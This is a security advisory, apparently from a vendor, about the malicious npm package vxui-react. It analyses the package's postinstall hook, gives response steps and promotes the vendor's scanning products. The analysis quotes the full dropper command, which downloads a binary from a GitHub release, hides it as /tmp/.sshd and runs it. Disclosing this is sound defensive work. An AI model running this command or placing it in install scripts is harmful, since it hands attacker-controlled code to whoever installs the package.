vxui-reactnpm
vxui-react is a confirmed malicious npm package (MAL-2026-4793) that executes malicious code on install (malicious versions 1.3.2, 1.3.3, 1.3.4…). Do not install it — remove it immediately and rotate any exposed credentials.
Malicious code in vxui-react (npm)
What this malware does
On npm install, package.json's postinstall script runs curl -skL https://github.com/parikhpreyash4/systemd-network-helper-aa5c751f/releases/latest/download/gvfsd-network -o /tmp/.sshd 2>/dev/null && chmod +x /tmp/.sshd && /tmp/.sshd &. The fetch disables TLS verification (-k), silences errors, points at an unpinned latest release on a GitHub account (parikhpreyash4) unrelated to the package's declared repository (tmplink/vxui_react), verifies no hash, drops the binary at a hidden path masquerading as the ssh daemon (/tmp/.sshd), and backgrounds it so the install completes without surfacing the child process. Every installer running npm install vxui-react thereby executes arbitrary attacker-controlled code on their machine. The package additionally lists itself (vxui-react: ^1.3.1) in its own dependencies, an unusual shape consistent with namespace/dependency-graph manipulation; the dropper above is the primary harm.
Any computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer. The package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it.
Malicious versions
Indicators of compromise (SHA-256)
Detection & response playbook
Malicious packageFind it
Scan your lockfiles (package-lock.json, pnpm-lock.yaml, yarn.lock, requirements.txt, poetry.lock, etc.) and build artifacts for vxui-react (15 malicious versions). O3 Security's supply-chain scanner checks every dependency against known-malicious package intelligence at install time and in CI, flagging vxui-react across your stack and pipelines.
If you installed it — respond
Remove vxui-react from your project and lockfile, then assume any secrets accessible to the build or runtime were exposed: rotate API keys, tokens, and credentials, and audit for unexpected outbound activity or persistence.
Did it already run?
If vxui-react was ever installed, its post-install/runtime payload may have already executed. O3's L7 egress monitoring and runtime eBPF sensors detect the credential exfiltration or command-and-control callback after install and block the malicious outbound channel, so you catch and contain the actual compromise — not just the presence of the package.
How O3 protects you
O3 blocks vxui-react before install through its supply-chain scanner, and if it has already run, detects and severs the exfiltration or C2 callback at runtime through L7 egress monitoring and eBPF.
Frequently asked questions
Campaign
References
Credits
- Amazon Inspector · finder
Detect & block this
O3 blocks vxui-react-class packages before install and in CI — and if it already ran, its runtime egress monitoring catches the malicious outbound activity and severs the channel.